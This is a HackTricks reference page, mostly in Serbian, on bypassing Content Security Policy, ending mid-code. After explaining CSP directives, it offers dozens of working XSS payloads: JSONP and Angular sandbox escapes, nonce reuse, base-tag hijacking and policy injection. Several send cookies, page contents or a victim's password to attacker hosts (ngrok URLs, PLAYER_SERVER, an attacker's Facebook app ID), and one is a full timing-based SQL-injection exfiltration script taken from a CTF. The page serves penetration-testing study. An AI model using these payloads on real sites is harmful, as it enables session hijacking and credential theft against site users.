Content Security Policy (CSP) Bypass

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Šta je CSP

Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na zaštitu od napada kao što su cross-site scripting (XSS). Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su eval, setTimeout ili setInterval.

Implementacija CSP se vrši putem odgovora zaglavlja ili uključivanjem meta elemenata u HTML stranicu. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu.

  • Implemented via response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementirano putem meta taga:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP se može primeniti ili pratiti koristeći ove zaglavlja:

  • Content-Security-Policy: Primena CSP; pregledač blokira sve prekršaje.

  • Content-Security-Policy-Report-Only: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima.

Defining Resources

CSP ograničava porekla za učitavanje aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i korišćenje eval(). Primer politike je:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktive

  • script-src: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilove.

  • default-src: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne.

  • child-src: Specifikuje dozvoljene resurse za web radnike i sadržaj u ugnježdenim okvirima.

  • connect-src: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.

  • frame-src: Ograničava URL-ove za okvire.

  • frame-ancestors: Specifikuje koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su <frame>, <iframe>, <object>, <embed>, i <applet>.

  • img-src: Definiše dozvoljene izvore za slike.

  • font-src: Specifikuje validne izvore za fontove učitane koristeći @font-face.

  • manifest-src: Definiše dozvoljene izvore datoteka manifest aplikacije.

  • media-src: Definiše dozvoljene izvore za učitavanje medijskih objekata.

  • object-src: Definiše dozvoljene izvore za elemente <object>, <embed>, i <applet>.

  • base-uri: Specifikuje dozvoljene URL-ove za učitavanje koristeći <base> elemente.

  • form-action: Navodi validne krajnje tačke za slanje obrazaca.

  • plugin-types: Ograničava mime tipove koje stranica može da pozove.

  • upgrade-insecure-requests: Upravljačima pretraživača nalaže da prepišu HTTP URL-ove na HTTPS.

  • sandbox: Primena ograničenja sličnih sandbox atributu <iframe>.

  • report-to: Specifikuje grupu kojoj će izveštaj biti poslat ako se politika prekrši.

  • worker-src: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.

  • prefetch-src: Specifikuje validne izvore za resurse koji će biti preuzeti ili unapred preuzeti.

  • navigate-to: Ograničava URL-ove na koje dokument može da navigira na bilo koji način (a, obrazac, window.location, window.open, itd.)

Izvori

  • *: Dozvoljava sve URL-ove osim onih sa data:, blob:, filesystem: shemama.

  • 'self': Dozvoljava učitavanje sa iste domene.

  • 'data': Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).

  • 'none': Blokira učitavanje sa bilo kog izvora.

  • 'unsafe-eval': Dozvoljava korišćenje eval() i sličnih metoda, ne preporučuje se iz bezbednosnih razloga.

  • 'unsafe-hashes': Omogućava specifične inline upravljače događaja.

  • 'unsafe-inline': Dozvoljava korišćenje inline resursa kao što su inline <script> ili <style>, ne preporučuje se iz bezbednosnih razloga.

  • 'nonce': Lista dozvoljenih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).

  • Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćen nonce unutar stranice sa doc.defaultView.top.document.querySelector("[nonce]") i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:

Učitaj skriptu ponovo koristeći nonce
  • 'sha256-<hash>': Beleži skripte sa specifičnim sha256 hešom.

  • 'strict-dynamic': Omogućava učitavanje skripti iz bilo kog izvora ako je beličena putem nonce ili heša.

  • 'host': Precizira određeni host, kao što je example.com.

  • https:: Ograničava URL-ove na one koji koriste HTTPS.

  • blob:: Omogućava učitavanje resursa sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript-a).

  • filesystem:: Omogućava učitavanje resursa sa datotečnog sistema.

  • 'report-sample': Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).

  • 'strict-origin': Slično 'self' ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).

  • 'strict-origin-when-cross-origin': Šalje pune URL-ove prilikom pravljenja zahteva sa istog izvora, ali šalje samo izvor kada je zahtev međuzavistan.

  • 'unsafe-allow-redirects': Omogućava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer slabi bezbednost.

Unsafe CSP Rules

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Radni payload: "/><script>alert(1);</script>

self + 'unsafe-inline' putem Iframe-a

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Ovo ne radi, za više informacija proverite ovo.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Radni payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Ako možete nekako da omogućite da dozvoljeni JS kod kreira novi script tag u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, novi script tag će biti dozvoljen za izvršavanje.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Radni payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Nedostatak object-src i default-src

Izgleda da ovo više ne funkcioniše

Content-Security-Policy: script-src 'self' ;

Radni payloadi:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upload fajla + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Ako možete da otpremite JS datoteku, možete zaobići ovaj CSP:

Radni payload:

"/>'><script src="/uploads/picture.png.js"></script>

Međutim, veoma je verovatno da server validira otpremeljenu datoteku i da će vam dozvoliti da otpremite određene tipove datoteka.

Štaviše, čak i ako biste mogli da otpremite JS kod unutar datoteke koristeći ekstenziju koju server prihvata (kao što je: script.png), to neće biti dovoljno jer neki serveri poput apache servera biraju MIME tip datoteke na osnovu ekstenzije i pregledači poput Chrome-a će odbiti da izvrše Javascript kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz CTF-a sam saznao da Apache ne prepoznaje .wave ekstenziju, stoga je ne servira sa MIME tipom kao audio/*.

Odavde, ako pronađete XSS i otpremu datoteka, i uspete da pronađete pogrešno interpretiranu ekstenziju, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremeljene datoteke, kreirajte poliglot (neki primeri poliglotova ovde).

Form-action

Ako nije moguće injektovati JS, još uvek možete pokušati da eksfiltrirate, na primer, kredencijale injektovanjem akcije forme (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći primer u ovom izveštaju. Takođe, primetite da default-src ne pokriva akcije formi.

Treće strane + ('unsafe-eval')

Za neke od sledećih payload-a unsafe-eval čak nije ni potreban.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Učitajte ranjivu verziju angulera i izvršite proizvoljni JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

Post pokazuje da možete učitati sve biblioteke sa cdn.cloudflare.com (ili bilo kog drugog dozvoljenog JS biblioteka repozitorijuma), izvršiti sve dodate funkcije iz svake biblioteke i proveriti koje funkcije iz kojih biblioteka vraćaju window objekat.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS iz imena klase:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Zloupotreba google recaptcha JS koda

Prema ovom CTF izveštaju, možete zloupotrebiti https://www.google.com/recaptcha/ unutar CSP-a da izvršite proizvoljan JS kod zaobilaženjem CSP-a:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Više payload-a iz ovog izveštaja:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Zloupotreba www.google.com za otvoreni preusmeravanje

Sledeći URL preusmerava na example.com (iz ovde):

https://www.google.com/amp/s/example.com/

Zloupotreba *.google.com/script.google.com

Moguće je zloupotrebiti Google Apps Script da se primi informacija na stranici unutar script.google.com. Kao što je urađeno u ovom izveštaju.

Treće strane krajnje tačke + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenariji poput ovog gde je script-src postavljen na self i određenu domenu koja je na beloj listi mogu se zaobići korišćenjem JSONP. JSONP krajnje tačke omogućavaju nesigurne callback metode koje omogućavaju napadaču da izvrši XSS, radni payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee sadrži spremne JSONP krajnje tačke za CSP zaobilaženje različitih veb sajtova.

Ista ranjivost će se pojaviti ako pouzdana krajnja tačka sadrži Open Redirect jer ako je inicijalna krajnja tačka pouzdana, preusmeravanja su pouzdana.

Zloupotrebe trećih strana

Kao što je opisano u sledećem postu, postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, koje se mogu zloupotrebiti za ili eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:

EntitetDozvoljeni domenMogućnosti

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, postoji šansa da biste mogli da zaobiđete CSP registracijom na usluzi treće strane i, ili eksfiltrirate podatke na tu uslugu ili izvršite kod.

Na primer, ako pronađete sledeći CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

или

Content-Security-Policy​: connect-src www.facebook.com;​

Trebalo bi da budete u mogućnosti da exfiltrirate podatke, slično kao što je to oduvek rađeno sa Google Analytics/Google Tag Manager. U ovom slučaju, pratite ove opšte korake:

  1. Napravite Facebook Developer nalog ovde.

  2. Napravite novu aplikaciju "Facebook Login" i izaberite "Website".

  3. Idite na "Settings -> Basic" i dobijte svoj "App ID".

  4. Na ciljanom sajtu sa kojeg želite da exfiltrirate podatke, možete exfiltrirati podatke direktno koristeći Facebook SDK uređaj "fbq" kroz "customEvent" i payload podataka.

  5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovom: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).

  6. Izaberite karticu "Test Events" da vidite događaje koji se šalju sa "vašeg" veb sajta.

Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook praćenje piksela da upućuje na app-id napadačevog Facebook developer naloga i izdajte prilagođeni događaj poput ovog:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Što se tiče ostalih sedam trećih strana navedenih u prethodnoj tabeli, postoji mnogo drugih načina na koje ih možete zloupotrebiti. Pogledajte prethodni blog post za dodatna objašnjenja o drugim zloupotrebama trećih strana.

Bypass putem RPO (Relative Path Overwrite)

Pored prethodno pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika koja se zove Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.

Na primer, ako CSP dozvoljava putanju https://example.com/scripts/react/, može se zaobići na sledeći način:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Pregledač će na kraju učitati https://example.com/scripts/angular/angular.js.

To funkcioniše jer za pregledač učitavate datoteku pod imenom ..%2fangular%2fangular.js koja se nalazi pod https://example.com/scripts/react/, što je u skladu sa CSP.

∑, oni će to dekodirati, efektivno tražeći https://example.com/scripts/react/../angular/angular.js, što je ekvivalentno https://example.com/scripts/angular/angular.js.

Iskorišćavanjem ove nekonzistentnosti u interpretaciji URL-a između pregledača i servera, pravila putanje se mogu zaobići.

Rešenje je da se %2f ne tretira kao / na strani servera, osiguravajući doslednu interpretaciju između pregledača i servera kako bi se izbegao ovaj problem.

Online primer: https://jsbin.com/werevijewa/edit?html,output

Izvršavanje JS u Iframe-ima

Iframes in XSS, CSP and SOP

nedostaje base-uri

Ako je direktiva base-uri nedostajuća, možete je zloupotrebiti da izvršite dangling markup injection.

Štaviše, ako stranica učitava skriptu koristeći relativnu putanju (kao što je <script src="/js/app.js">) koristeći Nonce, možete zloupotrebiti base tag da učitate skriptu sa vašeg servera, postignuvši XSS. Ako je ranjiva stranica učitana sa httpS, koristite httpS URL u bazi.

<base href="https://www.attacker.com/">

AngularJS događaji

Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat $event, koji se odnosi na objekat nativnog pregledača. Ovaj $event objekat može se iskoristiti za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, $event/event objekat poseduje atribut path, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat window uvek smešten na kraju. Ova struktura je ključna za taktike bekstva iz sandbox-a.

Usmeravanjem ovog niza na orderBy filter, moguće je iterirati kroz njega, koristeći terminalni element (objekat window) za aktiviranje globalne funkcije kao što je alert(). Prikazani kod ispod objašnjava ovaj proces:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Ovaj deo ističe upotrebu ng-focus direktive za pokretanje događaja, koristeći $event.path|orderBy za manipulaciju path nizom, i koristeći window objekat za izvršavanje alert() funkcije, čime se otkriva document.cookie.

Pronađite druge Angular zaobilaženja na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS i dozvoljena domena

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP politika koja beleži dozvoljene domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena kroz pozivanje callback funkcija i određene ranjive klase. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom git repository.

Radni payload-ovi:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Drugi JSONP arbitrarni izvršni krajnji tački mogu se naći ovde (neki od njih su obrisani ili ispravljeni)

Zaobilaženje putem preusmeravanja

Šta se dešava kada CSP naiđe na preusmeravanje sa servera? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.

Međutim, prema opisu u CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja, ako preusmeravanje vodi ka drugačijoj putanji, može zaobići originalna ograničenja.

Evo jednog primera:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Ako je CSP postavljen na https://www.google.com/a/b/c/d, pošto se putanja uzima u obzir, skripte /test i /a/test će biti blokirane od strane CSP-a.

Međutim, konačni http://localhost:5555/301 će biti preusmeren na serverskoj strani na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Pošto je u pitanju preusmeravanje, putanja se ne uzima u obzir, i skripta može biti učitana, čime se zaobilazi ograničenje putanje.

Sa ovim preusmeravanjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.

Stoga, najbolje rešenje je osigurati da veb sajt nema otvorene ranjivosti za preusmeravanje i da ne postoje domeni koji se mogu iskoristiti u CSP pravilima.

Zaobilaženje CSP-a sa visećim oznakama

Pročitajte kako ovde.

'unsafe-inline'; img-src *; putem XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i img-src * znači da možete koristiti bilo koju sliku iz bilo kog resursa na veb stranici.

Možete zaobići ovaj CSP eksfiltrirajući podatke putem slika (u ovoj situaciji XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Možete takođe zloupotrebiti ovu konfiguraciju da učitate javascript kod umetnut unutar slike. Ako, na primer, stranica dozvoljava učitavanje slika sa Twitter-a. Možete napraviti posebnu sliku, otpremiti je na Twitter i zloupotrebiti "unsafe-inline" da izvršite JS kod (kao regularni XSS) koji će učitati sliku, izvući JS iz nje i izvršiti ga: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Sa Servisnim Radnicima

Funkcija servisnih radnika importScripts nije ograničena CSP-om:

Abusing Service Workers

Injekcija Politike

Istraživanje: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Ako je parametar koji ste poslali nalepio unutar deklaracije politike, onda možete izmeniti politiku na neki način koji je čini beskorisnom. Možete dozvoliti skriptu 'unsafe-inline' sa bilo kojim od ovih zaobilaženja:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Zato što će ova direktiva prepisati postojeće script-src direktive. Možete pronaći primer ovde: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: ;_ Edge bi odbacio celu politiku. Primer: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; putem XSS (iframe) - Vremenski napad

Primetite nedostatak direktive 'unsafe-inline' Ovog puta možete naterati žrtvu da učita stranicu pod vašom kontrolom putem XSS sa <iframe. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (CSRF). Ne možete pristupiti sadržaju stranice, ali ako nekako možete kontrolisati vreme koje je stranici potrebno da se učita možete izvući informacije koje su vam potrebne.

Ovog puta će se zastavica izvući, kada god se karakter ispravno pogodi putem SQLi, odgovor traje duže zbog sleep funkcije. Tada ćete moći da izvučete zastavicu:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Ovaj napad bi podrazumevao neku vrstu socijalnog inženjeringa gde napadač uverava korisnika da prevuče i ispusti link preko bookmarkleta u pretraživaču. Ovaj bookmarklet bi sadržao malicious javascript kod koji bi, kada se prevuče ili klikne, bio izvršen u kontekstu trenutnog web prozora, zaobilazeći CSP i omogućavajući krađu osetljivih informacija kao što su kolačići ili tokeni.

Za više informacija proverite originalni izveštaj ovde.

CSP bypass by restricting CSP

U ovoj CTF analizi, CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem prototype pollution ili dom clobbering omogućila zloupotrebu različitog skripta za učitavanje proizvoljnog skripta.

Možete ograničiti CSP iframe-a sa csp atributom:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

U ovoj CTF analizi, bilo je moguće putem HTML injekcije da se ograniči više CSP tako da je skripta koja sprečava CSTI onemogućena i stoga je ranjivost postala iskoristiva. CSP se može učiniti restriktivnijim korišćenjem HTML meta tagova i inline skripte se mogu onemogućiti uklanjanjem unosa koji omogućava njihov nonce i omogućavanjem specifične inline skripte putem sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltracija sa Content-Security-Policy-Report-Only

Ako uspete da naterate server da odgovori sa zaglavljem Content-Security-Policy-Report-Only sa vrednošću koju kontrolišete (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako obavijete JS sadržaj koji želite da eksfiltrirate sa <script> i zato što je veoma verovatno da unsafe-inline nije dozvoljen od strane CSP, ovo će pokrenuti CSP grešku i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz Content-Security-Policy-Report-Only.

Za primer proverite ovaj CTF izveštaj.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Leaking Information with CSP and Iframe

  • An iframe is created that points to a URL (let's call it https://example.redirect.com) which is permitted by CSP.

  • This URL then redirects to a secret URL (e.g., https://usersecret.example2.com) that is not allowed by CSP.

  • By listening to the securitypolicyviolation event, one can capture the blockedURI property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.

Zanimljivo je napomenuti da pretraživači poput Chrome-a i Firefox-a imaju različita ponašanja u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.

Druga tehnika uključuje iskorišćavanje samog CSP-a za dedukciju tajnog poddomena. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a kako bi uključila specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji prikazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Prateći koje zahteve CSP blokira ili dozvoljava, može se suziti mogući skup karaktera u tajnom poddomeni, na kraju otkrivajući punu URL adresu.

Obe metode koriste nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako naizgled sigurni propisi mogu nenamerno otkriti osetljive informacije.

Trik iz ovde.

Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

Hacking Insights Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja

Real-Time Hack News Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Latest Announcements Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

Nesigurne tehnologije za zaobilaženje CSP-a

PHP greške kada je previše parametara

Prema poslednjoj tehnici komentarisanoj u ovom videu, slanje previše parametara (1001 GET parametar iako to možete uraditi i sa POST parametrima i više od 20 fajlova). Svaki definisani header() u PHP web kodu neće biti poslat zbog greške koju će ovo izazvati.

Preopterećenje PHP odgovora

PHP je poznat po tome što bafuje odgovor do 4096 bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem dovoljno podataka unutar upozorenja, odgovor će biti poslat pre CSP header-a, uzrokujući da se header ignoriše. Tada, tehnika se u suštini sastoji u punjenju bafera odgovora upozorenjima tako da CSP header ne bude poslat.

Ideja iz ovog izveštaja.

Prepisivanje stranice greške

Iz ovog izveštaja izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice greške (potencijalno bez CSP-a) i prepisivanjem njenog sadržaja.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
